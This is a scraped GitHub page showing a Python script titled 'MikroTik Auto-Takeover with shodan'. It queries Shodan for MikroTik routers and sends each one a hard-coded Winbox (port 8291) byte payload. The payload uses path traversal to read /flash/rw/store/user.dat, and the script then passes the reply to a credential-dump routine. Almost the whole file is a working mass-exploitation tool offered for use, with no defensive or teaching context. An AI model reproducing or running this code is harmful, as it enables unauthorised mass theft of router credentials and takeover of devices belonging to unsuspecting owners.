MikroRoot/MikroRoot.py at master · syrex1013/MikroRoot · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
import shodan
import argparse
import socket
import sys
from extract_user import dump

def searchShodan(api,pagenum):
	try:
		extracted = api.search('mikrotik', page=pagenum)
	except shodan.APIError:
		print('Error')
	for result in extracted['matches']:
		try:
			HackRouter(result['ip_str'])
		except:
			print('Target not exploitable!')
def HackRouter(ip):
     a = [0x68, 0x01, 0x00, 0x66, 0x4d, 0x32, 0x05, 0x00,
     0xff, 0x01, 0x06, 0x00, 0xff, 0x09, 0x05, 0x07,
     0x00, 0xff, 0x09, 0x07, 0x01, 0x00, 0x00, 0x21,
     0x35, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2e, 0x2f,
     0x2e, 0x2e, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f,
     0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x2f, 0x2f, 0x2f,
     0x2f, 0x2f, 0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x66,
     0x6c, 0x61, 0x73, 0x68, 0x2f, 0x72, 0x77, 0x2f,
     0x73, 0x74, 0x6f, 0x72, 0x65, 0x2f, 0x75, 0x73,
     0x65, 0x72, 0x2e, 0x64, 0x61, 0x74, 0x02, 0x00,
     0xff, 0x88, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00,
     0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0xff, 0x88,
     0x02, 0x00, 0x02, 0x00, 0x00, 0x00, 0x02, 0x00,
0x00, 0x00]
     b = [0x3b, 0x01, 0x00, 0x39, 0x4d, 0x32, 0x05, 0x00,
     0xff, 0x01, 0x06, 0x00, 0xff, 0x09, 0x06, 0x01,
     0x00, 0xfe, 0x09, 0x35, 0x02, 0x00, 0x00, 0x08,
     0x00, 0x80, 0x00, 0x00, 0x07, 0x00, 0xff, 0x09,
     0x04, 0x02, 0x00, 0xff, 0x88, 0x02, 0x00, 0x00,
     0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x01,
     0x00, 0xff, 0x88, 0x02, 0x00, 0x02, 0x00, 0x00,
0x00, 0x02, 0x00, 0x00, 0x00]
     s = socket.socket()
     s.settimeout(3)
     s.connect((ip, 8291))

     #Convert to bytearray for manipulation
     a = bytearray(a)
     b = bytearray(b)

     #Send hello and recieve the sesison id
     s.send(a)
     d = bytearray(s.recv(1024))

     #Replace the session id in template
     b[19] = d[38]

     #Send the edited response
     s.send(b)
     d = bytearray(s.recv(1024))

     #Get results
     dump(d[55:],ip)

if __name__ == "__main__":
	parser = argparse.ArgumentParser(description='MikroTik Auto-Takeover with shodan')
	parser.add_argument('-k', action ='store', dest='key', help="Shodan Key",default=max)
	parser.add_argument('-p', action ='store',type=int, dest='pagec', help="Page count",default=max)
	results = parser.parse_args()
	if results.key != None:
		key = results.key
		api = shodan.Shodan(key)
		for x in range(results.pagec):
			searchShodan(api,x)